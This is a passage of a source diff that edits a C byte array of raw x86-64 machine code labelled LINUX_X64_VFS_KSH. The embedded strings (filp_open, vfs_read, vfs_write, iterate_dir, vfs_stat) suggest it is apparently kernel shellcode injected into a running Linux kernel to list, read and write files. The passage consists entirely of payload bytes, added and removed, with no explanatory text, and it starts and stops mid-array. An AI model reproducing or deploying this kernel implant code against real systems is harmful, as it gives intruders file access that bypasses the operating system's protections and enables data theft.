0x48, 0x8d, 0x45, 0x48, 0x40, 0x88, 0x74, 0x24, 0x7a, 0x48, 0x89, + 0x45, 0xc0, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d, 0x45, + 0x80, 0x48, 0x89, 0x45, 0xc8, 0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x44, 0x24, + 0x40, 0xc7, 0x45, 0x40, 0x6d, 0x65, 0x6d, 0x63, 0x48, 0x89, 0x45, 0xd0, + 0x48, 0x8d, 0x55, 0xb0, 0x48, 0x8d, 0x44, 0x24, 0x20, 0x66, 0xc7, 0x45, + 0x44, 0x70, 0x79, 0x48, 0x89, 0x45, 0xd8, 0x48, 0x8d, 0x44, 0x24, 0x50, + 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8d, 0x45, 0x30, 0x48, 0x89, 0x45, 0xe8, + 0x40, 0x88, 0x75, 0x46, 0xc7, 0x45, 0x48, 0x6d, 0x65, 0x6d, 0x73, 0x66, + 0xc7, 0x45, 0x4c, 0x65, 0x74, 0x40, 0x88, 0x75, 0x4e, 0xc7, 0x45, 0x80, + 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x45, 0x84, 0x5f, 0x63, 0x6c, 0x6f, 0x66, + 0xc7, 0x45, 0x88, 0x73, 0x65, 0x40, 0x88, 0x75, 0x8a, 0xc7, 0x44, 0x24, + 0x40, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x44, 0x24, 0x44, 0x5f, 0x6f, 0x70, + 0x65, 0x66, 0xc7, 0x44, 0x24, 0x48, 0x6e, 0x00, 0xc7, 0x44, 0x24, 0x20, + 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x24, 0x72, 0x65, 0x61, 0x64, + 0x40, 0x88, 0x74, 0x24, 0x28, 0xc7, 0x44, 0x24, 0x50, 0x76, 0x66, 0x73, + 0x5f, 0xc7, 0x44, 0x24, 0x54, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7, 0x44, + 0x24, 0x58, 0x65, 0x00, 0xc7, 0x45, 0x30, 0x79, 0x69, 0x65, 0x6c, 0x66, + 0xc7, 0x45, 0x34, 0x64, 0x00, 0xe8, 0x00, 0xfe, 0xff, 0xff, 0x85, 0xc0, + 0x75, 0x07, 0x33, 0xc0, 0xe9, 0xbb, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, + 0x10, 0x48, 0x8d, 0x55, 0x90, 0xc7, 0x45, 0x90, 0x69, 0x74, 0x65, 0x72, + 0xc7, 0x45, 0x94, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0x98, 0x64, 0x69, + 0x72, 0x00, 0xe8, 0x1f, 0xfe, 0xff, 0xff, 0x48, 0x89, 0x43, 0x40, 0x48, + 0x8d, 0x55, 0xa0, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45, 0xa0, 0x76, 0x66, + 0x73, 0x5f, 0xc7, 0x45, 0xa4, 0x72, 0x65, 0x61, 0x64, 0xc7, 0x45, 0xa8, + 0x64, 0x69, 0x72, 0x00, 0xe8, 0xf9, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, + 0x48, 0x48, 0x39, 0x73, 0x40, 0x75, 0x05, 0x48, 0x85, 0xc0, 0x74, 0xa2, + 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xc7, 0x44, 0x24, + 0x30, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x34, 0x73, 0x74, 0x61, + 0x74, 0x40, 0x88, 0x74, 0x24, 0x38, 0xe8, 0xc7, 0xfd, 0xff, 0xff, 0x48, + 0x89, 0x43, 0x50, 0x48, 0x8d, 0x54, 0x24, 0x60, 0x48, 0x8b, 0x4f, 0x10, + 0xc7, 0x44, 0x24, 0x60, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x64, + 0x73, 0x74, 0x61, 0x74, 0x66, 0xc7, 0x44, 0x24, 0x68, 0x78, 0x00, 0xe8, + 0x9e, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x58, 0x48, 0x39, 0x73, 0x50, + 0x75, 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x43, 0xff, 0xff, 0xff, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x9c, 0x24, 0x38, 0x01, 0x00, 0x00, + 0x48, 0x81, 0xc4, 0x10, 0x01, 0x00, 0x00, 0x5f, 0x5e, 0x5d, 0xc3, 0xcc, + 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff, + 0x01, 0x00, 0x00, 0x49, 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x20, 0x45, + 0x8d, 0x41, 0x42, 0xe8, 0x52, 0xfd, 0xff, 0xff, 0x48, 0xb9, 0x00, 0x00, + 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xc1, 0x76, 0x07, 0xb8, + 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x33, + 0xc0, 0x48, 0x8b, 0xd0, 0xe8, 0x2d, 0xfd, 0xff, 0xff, 0x33, 0xc0, 0x48, + 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, - 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xf9, 0x49, - 0x63, 0xf0, 0x48, 0x8b, 0xea, 0x49, 0x8b, 0x89, 0x00, 0x02, 0x00, 0x00, - 0x48, 0x8d, 0x81, 0x40, 0x02, 0x00, 0x00, 0x49, 0x3b, 0x81, 0x10, 0x02, - 0x00, 0x00, 0x0f, 0x87, 0x8b, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x99, 0x08, - 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x49, 0x03, 0x59, 0x28, 0x41, 0xb9, - 0x40, 0x02, 0x00, 0x00, 0x48, 0x03, 0xd9, 0x48, 0x8b, 0x4f, 0x18, 0x48, - 0x8b, 0xd3, 0x48, 0x8b, 0x49, 0x10, 0xe8, 0x3b, 0xfc, 0xff, 0xff, 0x8b, - 0x4c, 0x24, 0x58, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x3b, 0xc8, 0x74, 0x1b, - 0x8d, 0x50, 0x04, 0x3b, 0xca, 0x74, 0x0b, 0x83, 0xf9, 0x0a, 0x0f, 0x45, - 0xc2, 0x48, 0x89, 0x03, 0xeb, 0x10, 0x48, 0xc7, 0x03, 0x01, 0x00, 0x00, - 0x00, 0xeb, 0x07, 0x48, 0xc7, 0x03, 0x02, 0x00, 0x00, 0x00, 0x33, 0xc9, - 0x85, 0xf6, 0x74, 0x20, 0x48, 0x83, 0xc3, 0x38, 0x48, 0x81, 0xf9, 0x03, - 0x01, 0x00, 0x00, 0x73, 0x13, 0x0f, 0xb6, 0x04, 0x29, 0x48, 0xff, 0xc1, - 0x66, 0x89, 0x03, 0x48, 0x83, 0xc3, 0x02, 0x48, 0x3b, 0xce, 0x72, 0xe4, - 0x48, 0x8b, 0x47, 0x10, 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40, - 0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x33, 0xc0, 0x48, 0x8b, - 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, - 0x5f, 0xc3, 0xcc, 0xcc, 0x4c, 0x8b, 0xdc, 0x49, 0x89, 0x5b, 0x08, 0x49, - 0x89, 0x6b, 0x10, 0x49, 0x89, 0x73, 0x18, 0x57, 0x41, 0x54, 0x41, 0x55, - 0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0xb0, 0x02, 0x00, 0x00, 0x45, - 0x33, 0xe4, 0x4d, 0x8d, 0x93, 0xc8, 0xfd, 0xff, 0xff, 0x48, 0xb8, 0x8f, - 0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x4d, 0x8d, 0x48, 0x18, 0x4c, - 0x8b, 0xea, 0x48, 0x8b, 0xe9, 0x48, 0xf7, 0xa1, 0x00, 0x02, 0x00, 0x00, - 0x41, 0x8b, 0xc4, 0x48, 0x8b, 0xf2, 0x48, 0xc1, 0xee, 0x09, 0x4d, 0x2b, - 0xd0, 0x41, 0x8a, 0x09, 0x84, 0xc9, 0x74, 0x13, 0x43, 0x88, 0x4c, 0x0a, - 0xe8, 0x48, 0xff, 0xc0, 0x49, 0xff, 0xc1, 0x48, 0x3d, 0x04, 0x01, 0x00, - 0x00, 0x72, 0xe6, 0xc6, 0x84, 0x04, 0xa0, 0x00, 0x00, 0x00, 0x2f, 0x49, - 0x8b, 0xfc, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xb5, 0x30, 0x02, 0x00, 0x00, - 0x48, 0x85, 0xf6, 0x0f, 0x84, 0xec, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0xbc, - 0x24, 0xa0, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xf4, 0x4c, 0x03, 0xf8, 0x48, - 0x8b, 0x9d, 0x08, 0x02, 0x00, 0x00, 0x49, 0x8b, 0xcc, 0x48, 0x03, 0x5d, - 0x28, 0x49, 0x03, 0xde, 0x48, 0x8d, 0x53, 0x38, 0x66, 0x44, 0x3b, 0x22, - 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, 0x0f, - 0x48, 0xff, 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4, - 0x45, 0x88, 0x24, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x49, 0x8b, 0x4d, - 0x38, 0x48, 0x8d, 0x94, 0x24, 0xa0, 0x00, 0x00, 0x00, 0xe8, 0xdc, 0xfa, - 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x40, - 0x48, 0xba, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, - 0x43, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x48, 0x48, 0x03, 0xca, 0x48, 0x69, - 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x08, 0x48, 0x8b, 0x4c, - 0x24, 0x68, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, - 0x48, 0x89, 0x43, 0x18, 0x48, 0x8b, 0x4c, 0x24, 0x58, 0x48, 0x03, 0xca, - 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x10, 0x48, - 0xb8, 0x15, 0xae, 0x47, 0xe1, 0x7a, 0x14, 0xae, 0x47, 0x48, 0xf7, 0xe7, - 0x48, 0x8b, 0xc7, 0x48, 0x2b, 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, - 0x48, 0xc1, 0xe8, 0x05, 0x48, 0x6b, 0xc8, 0x32, 0x48, 0x3b, 0xf9, 0x75, - 0x09, 0x49, 0x8b, 0x4d, 0x40, 0xe8, 0x5c, 0xfa, 0xff, 0xff, 0x48, 0xff, - 0xc7, 0x49, 0x81, 0xc6, 0x40, 0x02, 0x00, 0x00, 0x48, 0x3b, 0xfe, 0x0f, - 0x82, 0x22, 0xff, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x02, 0x00, - 0x00, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x6b, 0x38, 0x49, 0x8b, 0x73, - 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, - 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, + 0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, + 0xf9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, + 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x20, 0xe8, 0xef, 0xfc, 0xff, 0xff, 0x48, + 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, + 0x48, 0x3b, 0xf0, 0x76, 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x84, + 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x92, 0x00, 0x00, 0x00, 0xe8, 0x03, + 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x40, 0x4c, 0x8d, 0x05, 0x00, 0xfd, + 0xff, 0xff, 0x4c, 0x89, 0x44, 0x24, 0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, + 0x48, 0x89, 0x7c, 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40, 0x48, 0x85, + 0xc9, 0x74, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, + 0x96, 0xfc, 0xff, 0xff, 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x48, 0x48, 0x85, + 0xc9, 0x74, 0x14, 0x4c, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, + 0x7e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x87, 0x28, 0x02, 0x00, 0x00, 0x48, + 0x8b, 0x4b, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0xe8, 0x68, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x38, 0xe8, 0x5f, 0xfc, 0xff, 0xff, 0x4c, + 0x8b, 0xc5, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0xcf, 0xe8, 0xf7, 0x00, 0x00, + 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x6c, 0x24, + 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, + 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0x49, 0x10, + 0x48, 0x8b, 0xf9, 0x49, 0x63, 0xf0, 0x48, 0x8b, 0xea, 0x49, 0x8b, 0x89, + 0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x81, 0x40, 0x02, 0x00, 0x00, 0x49, + 0x3b, 0x81, 0x10, 0x02, 0x00, 0x00, 0x0f, 0x87, 0x8b, 0x00, 0x00, 0x00, + 0x49, 0x8b, 0x99, 0x08, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x49, 0x03, + 0x59, 0x28, 0x41, 0xb9, 0x40, 0x02, 0x00, 0x00, 0x48, 0x03, 0xd9, 0x48, + 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd3, 0x48, 0x8b, 0x49, 0x10, 0xe8, 0xd7, + 0xfb, 0xff, 0xff, 0x8b, 0x4c, 0x24, 0x58, 0xb8, 0x04, 0x00, 0x00, 0x00, + 0x3b, 0xc8, 0x74, 0x1b, 0x8d, 0x50, 0x04, 0x3b, 0xca, 0x74, 0x0b, 0x83, + 0xf9, 0x0a, 0x0f, 0x45, 0xc2, 0x48, 0x89, 0x03, 0xeb, 0x10, 0x48, 0xc7, + 0x03, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x48, 0xc7, 0x03, 0x02, 0x00, + 0x00, 0x00, 0x33, 0xc9, 0x85, 0xf6, 0x74, 0x20, 0x48, 0x83, 0xc3, 0x38, + 0x48, 0x81, 0xf9, 0x03, 0x01, 0x00, 0x00, 0x73, 0x13, 0x0f, 0xb6, 0x04, + 0x29, 0x48, 0xff, 0xc1, 0x66, 0x89, 0x03, 0x48, 0x83, 0xc3, 0x02, 0x48, + 0x3b, 0xce, 0x72, 0xe4, 0x48, 0x8b, 0x47, 0x10, 0x48, 0x81, 0x80, 0x00, + 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x5c, 0x24, 0x30, + 0x33, 0xc0, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, + 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, + 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x78, 0x18, 0x55, + 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xa8, 0x78, + 0xfd, 0xff, 0xff, 0x48, 0x81, 0xec, 0x60, 0x03, 0x00, 0x00, 0x45, 0x33, + 0xdb, 0x4c, 0x8d, 0x55, 0x50, 0x48, 0xb8, 0x8f, 0xe3, 0x38, 0x8e, 0xe3, + 0x38, 0x8e, 0xe3, 0x4d, 0x8d, 0x48, 0x18, 0x4c, 0x8b, 0xea, 0x4c, 0x8b, + 0xf1, 0x48, 0xf7, 0xa1, 0x00, 0x02, 0x00, 0x00, 0x41, 0x8b, 0xc3, 0x48, + 0x8b, 0xf2, 0x48, 0xc1, 0xee, 0x09, 0x4d, 0x2b, 0xd0, 0x41, 0x8a, 0x09, + 0x84, 0xc9, 0x74, 0x13, 0x43, 0x88, 0x4c, 0x0a, 0xe8, 0x48, 0xff, 0xc0, + 0x49, 0xff, 0xc1, 0x48, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe6, 0xc6, + 0x44, 0x05, 0x50, 0x2f, 0x49, 0x8b, 0xfb, 0x48, 0xff, 0xc0, 0x49, 0x89, + 0xb6, 0x30, 0x02, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x0f, 0x84, 0x60, 0x01, + 0x00, 0x00, 0x4c, 0x8d, 0x65, 0x50, 0x4d, 0x8b, 0xfb, 0x4c, 0x03, 0xe0, + 0x49, 0x8b, 0x9e, 0x08, 0x02, 0x00, 0x00, 0x49, 0x8b, 0xcb, 0x49, 0x03, + 0x5e, 0x28, 0x49, 0x03, 0xdf, 0x48, 0x8d, 0x53, 0x38, 0x66, 0x44, 0x3b, + 0x1a, 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, + 0x0c, 0x48, 0xff, 0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, + 0xe4, 0x45, 0x88, 0x1c, 0x0c, 0x49, 0x8b, 0x4d, 0x58, 0x48, 0x85, 0xc9, + 0x74, 0x6d, 0x48, 0x8d, 0x45, 0xb0, 0xc7, 0x44, 0x24, 0x28, 0xff, 0x07, + 0x00, 0x00, 0x41, 0xb9, 0x00, 0x08, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, + 0x20, 0x4c, 0x8d, 0x45, 0x50, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x63, + 0xfa, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x0f, 0x85, 0xa2, 0x00, 0x00, 0x00, + 0x48, 0x8b, 0x45, 0xe8, 0x49, 0xb8, 0x00, 0x91, 0x10, 0xb6, 0x02, 0x00, + 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0x4d, 0xf0, 0x49, 0x03, + 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x08, + 0x48, 0x8b, 0x4d, 0x10, 0x49, 0x03, 0xc8, 0x48, 0x69, 0xc1, 0x80, 0x96, + 0x98, 0x00, 0x48, 0x89, 0x43, 0x18, 0x48, 0x8b, 0x4d, 0x00, 0x49, 0x03, + 0xc8, 0xeb, 0x58, 0x49, 0x8b, 0x4d, 0x50, 0x4c, 0x8d, 0x44, 0x24, 0x30, + 0x48, 0x8d, 0x55, 0x50, 0xe8, 0x09, 0xfa, 0xff, 0xff, 0x48, 0x85, 0xc0, + 0x75, 0x4c, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x48, 0xba, 0x00, 0x91, 0x10, + 0xb6, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0x4c, + 0x24, 0x58, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, + 0x48, 0x89, 0x43, 0x08, 0x48, 0x8b, 0x4c, 0x24, 0x78, 0x48, 0x03, 0xca, + 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x43, 0x18, 0x48, + 0x8b, 0x4c, 0x24, 0x68, 0x48, 0x03, 0xca, 0x48, 0x69, 0xc1, 0x80, 0x96, + 0x98, 0x00, 0x48, 0x89, 0x43, 0x10, 0x48, 0xb8, 0x15, 0xae, 0x47, 0xe1, + 0x7a, 0x14, 0xae, 0x47, 0x48, 0xf7, 0xe7, 0x48, 0x8b, 0xc7, 0x48, 0x2b, + 0xc2, 0x48, 0xd1, 0xe8, 0x48, 0x03, 0xc2, 0x48, 0xc1, 0xe8, 0x05, 0x48, + 0x6b, 0xc8, 0x32, 0x48, 0x3b, 0xf9, 0x75, 0x09, 0x49, 0x8b, 0x4d, 0x38, + 0xe8, 0x89, 0xf9, 0xff, 0xff, 0x48, 0xff, 0xc7, 0x49, 0x81, 0xc7, 0x40, + 0x02, 0x00, 0x00, 0x41, 0xbb, 0x00, 0x00, 0x00, 0x00, 0x48, 0x3b, 0xfe, + 0x0f, 0x82, 0xaa, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x9c, 0x24, 0x60, 0x03, + 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, + 0x7b, 0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, + 0x5c, 0x5d, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xd9, 0x49, 0x8d, 0x50, 0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x04, 0x00, 0x48, 0x8b, - 0x4f, 0x20, 0xe8, 0xf3, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, + 0x4f, 0x20, 0xe8, 0x1b, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x55, 0x4c, 0x8b, 0x83, 0x08, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x85, 0x28, 0x03, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48, 0x8b, 0xd6, 0x4c, 0x8b, 0x8b, 0x10, 0x02, 0x00, 0x00, - 0x48, 0x8b, 0x4f, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xb0, 0xf9, + 0x48, 0x8b, 0x4f, 0x28, 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xd8, 0xf8, 0xff, 0xff, 0x48, 0x89, 0x83, 0x00, 0x02, 0x00, 0x00, 0x45, 0x33, 0xc0, - 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd6, 0xe8, 0x9a, 0xf9, 0xff, 0xff, + 0x48, 0x8b, 0x4f, 0x18, 0x48, 0x8b, 0xd6, 0xe8, 0xc2, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x83, 0x00, 0x02, 0x00, 0x00, 0x48, 0x39, 0x83, 0x10, 0x02, 0x00, 0x00, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x50, @@ -1376,18 +1394,18 @@ const BYTE LINUX_X64_VFS_KSH[] = { 0x8b, 0xd8, 0x48, 0x8b, 0xfa, 0x4d, 0x8b, 0x40, 0x10, 0x45, 0x33, 0xc9, 0x49, 0xc1, 0xe0, 0x03, 0x41, 0x81, 0xe0, 0x00, 0x06, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x20, 0x48, 0x8d, 0x53, 0x18, 0x49, 0x81, 0xc8, 0x01, 0x00, - 0x04, 0x00, 0xe8, 0x33, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, + 0x04, 0x00, 0xe8, 0x5b, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b, 0xf0, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x42, 0x4c, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x83, 0x28, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x30, 0x4c, 0x8d, 0x83, 0x38, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd6, - 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0xf4, 0xf8, 0xff, 0xff, 0x48, 0x8b, + 0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x1c, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x4f, 0x18, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xd8, 0xe8, - 0xe2, 0xf8, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00, + 0x0a, 0xf8, 0xff, 0xff, 0x48, 0xf7, 0xdb, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0x5c, 0x24, 0x40, 0x48, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, - 0xd9, 0xe8, 0x4a, 0xf9, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, + 0xd9, 0xe8, 0x72, 0xf8, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0xf0, 0xe9, 0xcf, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x93, 0x08, 0x01, 0x00, 0x00, 0x48, 0x03, 0x53, 0x28, 0x48, 0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x0f, 0x82, 0xae, 0x00, 0x00, 0x00, @@ -1395,15 +1413,15 @@ const BYTE LINUX_X64_VFS_KSH[] = { 0x02, 0x0f, 0x85, 0x9b, 0x00, 0x00, 0x00, 0xf6, 0x42, 0x10, 0x10, 0x0f, 0x85, 0x91, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x42, 0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x14, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, - 0x24, 0x20, 0xe8, 0xc9, 0xfa, 0xff, 0xff, 0x8b, 0xc0, 0xeb, 0x78, 0x48, + 0x24, 0x20, 0xe8, 0x55, 0xfa, 0xff, 0xff, 0x8b, 0xc0, 0xeb, 0x78, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8, 0x0f, 0xfe, 0xff, 0xff, 0xeb, 0xe4, 0x48, 0x83, 0xf8, 0x02, 0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8, 0xaf, 0xfe, 0xff, 0xff, 0xeb, 0xcc, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x12, 0x4c, 0x8b, 0xc2, 0x48, 0x8b, 0xcb, 0x48, - 0x8d, 0x54, 0x24, 0x20, 0xe8, 0x2f, 0xfa, 0xff, 0xff, 0xeb, 0xb4, 0x48, + 0x8d, 0x54, 0x24, 0x20, 0xe8, 0xbb, 0xf9, 0xff, 0xff, 0xeb, 0xb4, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x31, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x48, 0x83, - 0xc2, 0x18, 0xe8, 0xef, 0xf7, 0xff, 0xff, 0x48, 0xf7, 0xd8, 0xb8, 0x05, + 